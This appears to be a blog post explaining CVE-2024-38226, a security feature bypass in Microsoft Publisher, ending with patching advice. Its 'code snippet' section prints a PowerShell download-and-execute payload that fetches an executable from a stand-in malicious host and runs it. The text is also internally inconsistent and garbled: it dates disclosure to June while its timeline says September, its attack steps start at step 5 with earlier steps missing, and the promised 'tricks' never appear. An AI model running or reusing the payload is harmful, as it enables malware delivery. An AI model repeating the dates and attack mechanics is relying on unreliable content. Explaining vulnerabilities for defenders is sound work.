On June 11, 2024, Microsoft made public a new vulnerability tracked as CVE-2024-38226, affecting Microsoft Publisher. This vulnerability allows attackers to bypass important security checks built into Windows, and it has caught the attention of the information security community due to its potential impact. In this post, I’ll break down what this bug is, how it works, how you might exploit it, and what you should do about it. Everything here is in simple, straightforward terms—no unnecessary jargon.

What Is CVE-2024-38226?

CVE-2024-38226 is a Security Feature Bypass vulnerability found in Microsoft Publisher, the document creation tool included as part of Microsoft Office. Simply put, a security feature bypass is when a program fails to enforce the security checks meant to protect users, allowing attackers to sneak through defenses.

This vulnerability allows a malicious Publisher file to run potentially harmful code without proper warning or restriction. Typically, Office documents from the internet are opened in Protected View—a read-only mode that keeps macro malware from executing. But, due to CVE-2024-38226, a crafted .pub file can sidestep some of these safeguards, especially when manipulated with specific tricks outlined below.

How Does The Exploit Work?

The exploit takes advantage of how Publisher handles embedded content and security restrictions. The key issue is that Publisher, when opening a specially crafted document, might not prompt proper warnings and instead execute embedded objects or code with fewer restrictions.

The user, thinking it is an ordinary document, opens the .pub file.

5. Instead of opening in strict *Protected View*, the embedded script runs with the user’s privileges, leading to malware execution.

Code Snippet: How an Attacker Might Craft Content

Below is a simplified PowerShell payload an attacker might embed using Publisher’s “Insert Object” feature. (Note: This is for educational purposes only.)

# PowerShell: Download and run a payload (example, DO NOT RUN)
Invoke-WebRequest -Uri "http://malicious.example.com/payload.exe"; -OutFile "$env:TEMP\payload.exe"
Start-Process "$env:TEMP\payload.exe"

An attacker could configure an embedded object in Publisher that triggers this script, for example by embedding a macro-enabled object or a link that launches the script when the document is opened outside of Protected View.

Depending on the configuration and system, Publisher’s weak enforcement of security checks (the heart of CVE-2024-38226) lets this code run with little warning.

File Opened: Victim opens the file, trusting the sender or ignoring subdued warnings.

- Code Executes: Embedded object bypasses some security policies and runs attacker code (PowerShell, cmd, etc.).
- System Compromised: Attacker can deploy ransomware, steal data, or move further into the network.

Mitigation and What You Should Do

Microsoft has released a patch. The best defense is to keep Office updated. See Microsoft’s June patch notes for information and updates:

- Microsoft Security Update Guide: CVE-2024-38226
- Microsoft Patch Tuesday June 2024 Overview

References & Further Reading

- Microsoft Security Response Center: CVE-2024-38226
- NIST NVD: CVE-2024-38226
- Office File Security Best Practices (Microsoft Docs)

Summary

CVE-2024-38226 is dangerous because Publisher documents are less scrutinized than Word or Excel files, yet still support embedded code. Unsuspecting users could be tricked into running malware just by opening a file. Keeping your software up-to-date and practicing basic email hygiene are your best defenses.

If you’re in charge of Office security for your company, patch immediately. If you don’t need Publisher, consider disabling or removing it. And always be suspicious of random office document attachments, Publisher files included.

Timeline

Published on: 09/10/2024 17:15:25 UTC
Last modified on: 09/19/2024 20:43:08 UTC